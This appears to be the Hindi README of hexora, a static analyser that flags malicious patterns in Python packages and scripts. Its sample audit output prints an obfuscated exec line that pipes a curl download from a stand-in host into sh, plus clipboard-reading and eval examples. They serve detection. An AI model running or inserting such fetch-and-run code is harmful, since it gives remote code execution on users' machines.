hexora

Hexora एक स्थैतिक विश्लेषण उपकरण है जिसे Python कोड में दुर्भावनापूर्ण और हानिकारक पैटर्न का पता लगाने के लिए डिज़ाइन किया गया है। यह नियम-आधारित स्थैतिक विश्लेषण इंजन को एक मशीन-सीखे मॉडल के साथ जोड़ता है जो संपूर्ण स्रोत फ़ाइलों को स्कोर करता है ताकि उन्हें दुर्भावनापूर्ण या सुरक्षित के रूप में वर्गीकृत किया जा सके।

इसका उपयोग निम्नलिखित के लिए किया जा सकता है:

• संभावित आपूर्ति श्रृंखला हमलों को पकड़ने के लिए प्रोजेक्ट निर्भरताओं का ऑडिट करना
• Pastebin, GitHub, या खुले निर्देशिकाओं जैसे प्लेटफार्मों पर पाए जाने वाले दुर्भावनापूर्ण स्क्रिप्ट का पता लगाना
• पिछले सुरक्षा घटनाओं से IoC फ़ाइलों का विश्लेषण करना
• PyPi पर अपलोड किए गए नए पैकेजों का ऑडिट करना

उदाहरण

आउटपुट उदाहरणों के लिए, कृपया docs/examples.md फ़ाइल देखें।

स्थापना

Python का उपयोग करके

Python 3.9+ आवश्यक है।

pip install hexora

uv का उपयोग करके:

uv tool install hexora

उपयोग

hexora --help

एकल फ़ाइल ऑडिट

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

निर्देशिका ऑडिट

hexora audit --output-format terminal resources/test/

वर्चुअल एनवायरनमेंट से पैकेज ऑडिट

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

जहां python3.11 वर्चुअल एनवायरनमेंट में Python का संस्करण है।

सुझाव:

• किसी दिए गए रन के लिए कुछ नियम कोड (जैसे, शोरगुल वाले आयात) को दबाने के लिए --exclude का उपयोग करें
• केवल उच्च-आत्मविश्वास वाले निष्कर्षों पर ध्यान केंद्रित करने के लिए --min-confidence का उपयोग करें।

Confidence इंगित करता है कि कोड का एक निश्चित टुकड़ा कितना दुर्भावनापूर्ण है। कुछ लाइब्रेरी या कोड स्निपेट वैध उद्देश्यों के लिए उपयोग किए जाते हैं, और वैध उपयोग-मामलों को दुर्भावनापूर्ण से अलग करना कठिन है। यही कारण है कि कुछ मिलानों का आत्मविश्वास स्तर कम होता है।

कुछ नियमों के अलग-अलग आत्मविश्वास स्तर हो सकते हैं। जब तक आप बहुत आश्वस्त न हों, कोड द्वारा बहुत सारे नियमों को फ़िल्टर करने से बचें। उदाहरण के लिए, कोड और शेल निष्पादन में मध्यम, उच्च और बहुत उच्च आत्मविश्वास हो सकता है। यह इस बात पर निर्भर करता है कि कोड कैसे निष्पादित किया गया। यदि हम अस्पष्टता के प्रयास का पता लगाते हैं, तो हम आत्मविश्वास बढ़ाते हैं।

उदाहरण के लिए, इस कोड का उच्च आत्मविश्वास होगा:

globals()["__builtins__"].eval("print(123)")

Python में उपयोग

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

दुर्भावनापूर्ण डेटासेट के विरुद्ध परीक्षण

नए नियम विकसित करते समय, आप मौजूदा दुर्भावनापूर्ण डेटासेट जैसे malicious-software-packages-dataset का उपयोग कर सकते हैं।

क्लोन करने के बाद, बेंचमार्किंग टूल को डेटासेट निर्देशिका पर इंगित करें:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

उपलब्ध नियम

नए नियम नियमित रूप से जोड़े जाते हैं।

अभी, निम्नलिखित नियम उपलब्ध हैं:

क्रेडिट

पार्सिंग के लिए, हम ruff लाइब्रेरी से AST पार्सर का उपयोग करते हैं।